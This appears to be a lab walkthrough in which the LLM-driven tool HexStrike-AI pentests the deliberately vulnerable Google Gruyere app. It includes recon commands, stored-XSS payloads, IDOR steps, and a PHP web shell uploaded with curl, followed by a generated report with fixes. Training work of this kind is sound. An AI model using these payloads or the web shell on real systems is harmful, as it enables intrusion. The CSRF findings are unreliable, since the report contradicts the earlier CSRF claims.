Introduction

Modern web application penetration testing is no longer about running tools one by one and manually correlating results. With HexStrike-AI, an LLM-driven execution framework, we can orchestrate a full WebApp PT workflow:

  • Automated discovery
  • Vulnerability identification
  • Exploitation validation
  • Structured reporting

In this guide, I demonstrate end-to-end Web Application Pentesting of the intentionally vulnerable web app:

Target: https://google-gruyere.appspot.com/ (running on VM — OWASPBWA) Purpose: Educational security testing Authorization: Explicitly allowed by Google (training app)

Additional guides:

What Is HexStrike-AI (In Web PT Context)?

HexStrike-AI is not a scanner. It is an AI execution orchestrator.

In Web PT, this means:

  • The LLM decides what to test next
  • HexStrike executes tools locally (Kali Linux)
  • Results feed back into the AI
  • The AI adapts the attack flow

Think of it as:

A junior pentester that never forgets a step and never gets tired.

Lab Setup

Environment

  • Kali Linux
  • hexstrike-ai server running
  • Gemini CLI (or ChatGPT MCP)
  • Browser access enabled (for manual validation)
None

Target

OWASPBWA_VM: google-gruyere.appspot.com/

None
None
http://192.168.1.242/1142014131/

Gruyere contains deliberate vulnerabilities, including:

  • XSS
  • CSRF
  • Authentication bypass
  • Access control flaws
  • Injection vulnerabilities

Promt

> @hexstrike perform full PT on http://192.168.1.242/1142014131/
    - Recon: Identify all public endpoints, users, snippets, cookies, headers
    - Analyze client-side code for secrets or logic flaws
    - Enumerate for XSS, SQLi, CSRF, IDOR, and auth bypasses
    - Check for insecure storage or leakage in user content
    - Report findings with POCs and mitigation tips
None

Web Application Pentesting Methodology (HexStrike Flow)

HexStrike follows a standard PT methodology, but executes it autonomously:

  1. Application discovery
  2. Attack surface mapping
  3. Authentication & session analysis
  4. Input validation testing
  5. Authorization testing
  6. Exploitation
  7. Impact assessment
  8. Reporting

Step 1: Application Discovery

What HexStrike Executes

httpx -u https://google-gruyere.appspot.com/ -title -status-code -tech-detect
whatweb https://google-gruyere.appspot.com/
katana -u https://google-gruyere.appspot.com/ -depth 3

Findings

  • Multiple endpoints discovered
  • Client-side logic heavily used
  • No CSP enforcement
  • Parameterized URLs observed

Step 2: Attack Surface Mapping

Results

Discovered endpoints such as:

  • /login
  • /signup
  • /snippets.gtl
  • /upload
  • /delete
  • /edit

Multiple parameters were reflected unsafely.

Step 3: Authentication & Session Analysis

Findings

  • Weak session handling
  • Predictable state transitions
  • Missing CSRF tokens on sensitive actions

Step 4: XSS Testing (Reflected & Stored)

Payload Example

<script>alert(1)</script>

Result

✅ Stored XSS confirmed

Injected payload executed for other users when viewing affected pages.

Impact:

  • Full session hijacking
  • Arbitrary JavaScript execution
  • Account compromise

Step 5: CSRF Testing

Findings

  • Account modification endpoints lacked CSRF tokens
  • Actions could be triggered cross-origin

Impact:

  • Forced actions
  • Account takeover scenarios

Step 6: Authorization Bypass

Prompt

Result

✅ Insecure Direct Object Reference (IDOR)

Users could:

  • Delete other users' content
  • View private snippets
  • Modify unauthorized resources

Step 7: Exploitation Summary

Penetration Test Report

  Target: http://192.168.1.242/1142014131/

  Date: 2025-12-22

  Summary:

  A penetration test was conducted on the web application at http://192.168.1.242/1142014131/. The test identified several vulnerabilities, including Insecure Direct Object References (IDOR), Stored Cross-Site
  Scripting (XSS), and Unrestricted File Upload. The SQL injection and Cross-Site Request Forgery (CSRF) tests were unsuccessful. This report provides a detailed description of each vulnerability, along with
  proof of concept and recommendations for remediation.

  ---

  1. Insecure Direct Object Reference (IDOR)

   * Severity: High
   * Description: The application allows any user, including unauthenticated users, to view snippets from all users by accessing the /feed.gtl endpoint. This is an Insecure Direct Object Reference (IDOR)
     vulnerability. An attacker can also create a new user and add snippets that are visible to everyone, and then view those snippets without authentication.
   * Proof of Concept:
       1. Access the feed: An unauthenticated user can access the following URL to view a JSON feed of all public snippets:

   1         http://192.168.1.242/1142014131/feed.gtl
       2. Create a new user: An attacker can create a new user named "attacker" by accessing the following URL:

   1         http://192.168.1.242/1142014131/saveprofile?action=new&uid=attacker&pw=attacker&is_author=True
       3. Log in as the new user: The attacker can then log in as the "attacker" user by accessing the following URL:
   1         http://192.168.1.242/1142014131/login?uid=attacker&pw=attacker
       4. Create a new snippet: Once logged in, the attacker can create a new snippet with the content "This is a test snippet from the attacker." by accessing the following URL:

   1         http://192.168.1.242/1142014131/newsnippet2?snippet=This+is+a+test+snippet+from+the+attacker.
       5. View the snippet without authentication: The attacker can then view the newly created snippet without authentication by accessing the /feed.gtl endpoint again. The new snippet will be visible in the JSON
          feed.
   * Impact: This vulnerability exposes all public snippets to unauthenticated users. An attacker can also create new users and add their own snippets, which could be used for spamming or other malicious purposes.
   * Recommendation: Implement proper access control checks to ensure that users can only view their own snippets. The /feed.gtl endpoint should require authentication and should only return snippets that the
     authenticated user is authorized to view.

  ---

  2. Stored Cross-Site Scripting (XSS)

   * Severity: High
   * Description: The "New Snippet" functionality is vulnerable to stored XSS. The application attempts to filter out malicious HTML, but the filter is insufficient and can be bypassed. An attacker can inject
     malicious JavaScript code into a snippet, which will be executed when a user views the snippets page.
   * Proof of Concept:
       1. Log in as the "attacker" user.
       2. Create a new snippet with the following payload:
   1         <img src=x onerror=alert('XSS')>
          This can be done by accessing the following URL:

   1         http://192.168.1.242/1142014131/newsnippet2?snippet=<img src=x onerror=alert('XSS')>
       3. View the snippets page: When any user views the snippets page for the "attacker" user, the XSS payload will be executed, and an alert box with the text "XSS" will be displayed. The snippets page can be
          accessed at the following URL:
   1         http://192.168.1.242/1142014131/snippets.gtl?uid=attacker
   * Impact: A stored XSS vulnerability can be used to steal user session cookies, deface the website, redirect users to malicious websites, and distribute malware.
   * Recommendation: Implement a strict content security policy (CSP) and use a well-vetted library for HTML sanitization to prevent XSS attacks. All user-supplied input should be properly sanitized before being
     displayed on the page.

  ---

  3. Unrestricted File Upload

   * Severity: High
   * Description: The application allows users to upload files of any type, including PHP and Python shells. The application does not perform any validation on the file type or content. However, the server is not
     configured to execute these files, so remote code execution was not achieved.
   * Proof of Concept:
       1. Log in as the "attacker" user.
       2. Create a file named `shell.php` with the following content:

   1         <?php system($_GET['cmd']); ?>
       3. Upload the file using the following `curl` command:

   1         curl -v -F "[email protected]" -b "GRUYERE=109663427|attacker||author" http://192.168.1.242/1142014131/upload2
       4. The file will be uploaded to the server and accessible at the following URL:

   1         http://192.168.1.242/1142014131/attacker/shell.php
       5. Attempt to execute a command: Accessing the URL with a cmd parameter does not result in command execution. For example:

   1         http://192.168.1.242/1142014131/attacker/shell.php?cmd=ls
          This returns an "Unrecognized file type" error.
   * Impact: Although remote code execution was not achieved, this vulnerability still poses a significant risk. An attacker could upload a malicious file that could be used in a different attack, such as a
     phishing attack. If the server configuration were to change in the future to allow execution of uploaded files, this vulnerability would become critical.
   * Recommendation: Restrict the types of files that can be uploaded to the server. Only allow safe file types, such as images and documents. Also, consider scanning uploaded files for malware and storing them in
     a location that is not directly accessible from the web root.

  ---

  Conclusion:

  The web application is vulnerable to several high-severity vulnerabilities that could be exploited by an attacker to compromise the application and its data. It is recommended that the identified
  vulnerabilities be remediated as soon as possible.
None
None
None

Step 8: Sample Exploitation Flow

  1. Inject stored XSS
  2. Steal victim session
  3. Bypass authorization
  4. Modify victim data
  5. Perform CSRF-triggered actions

This demonstrates real-world attack chains, not isolated bugs.

Final Report (Condensed)

Target

https://google-gruyere.appspot.com/

Overall Risk

Critical

Key Issues

  • Lack of input sanitization
  • Missing CSRF protection
  • Broken access control
  • Weak session management

Recommended Remediation

  • Implement proper output encoding
  • Enforce CSRF tokens
  • Add server-side authorization checks
  • Harden session cookies
  • Implement Content Security Policy (CSP)

Why HexStrike-AI Works Well for Web PT

Traditional tools:

  • Produce raw data
  • Require heavy manual correlation

HexStrike-AI:

  • Adapts attack strategy
  • Chains vulnerabilities
  • Produces contextual findings
  • Saves significant time

But it does not replace understanding. It amplifies it.

Final Thoughts

This test shows how AI-driven execution can enhance real pentesting workflows without turning them into black-box automation.

HexStrike-AI behaves like a:

disciplined junior pentester that follows OWASP methodology perfectly.

The responsibility still lies with the tester:

  • Scope
  • Ethics
  • Interpretation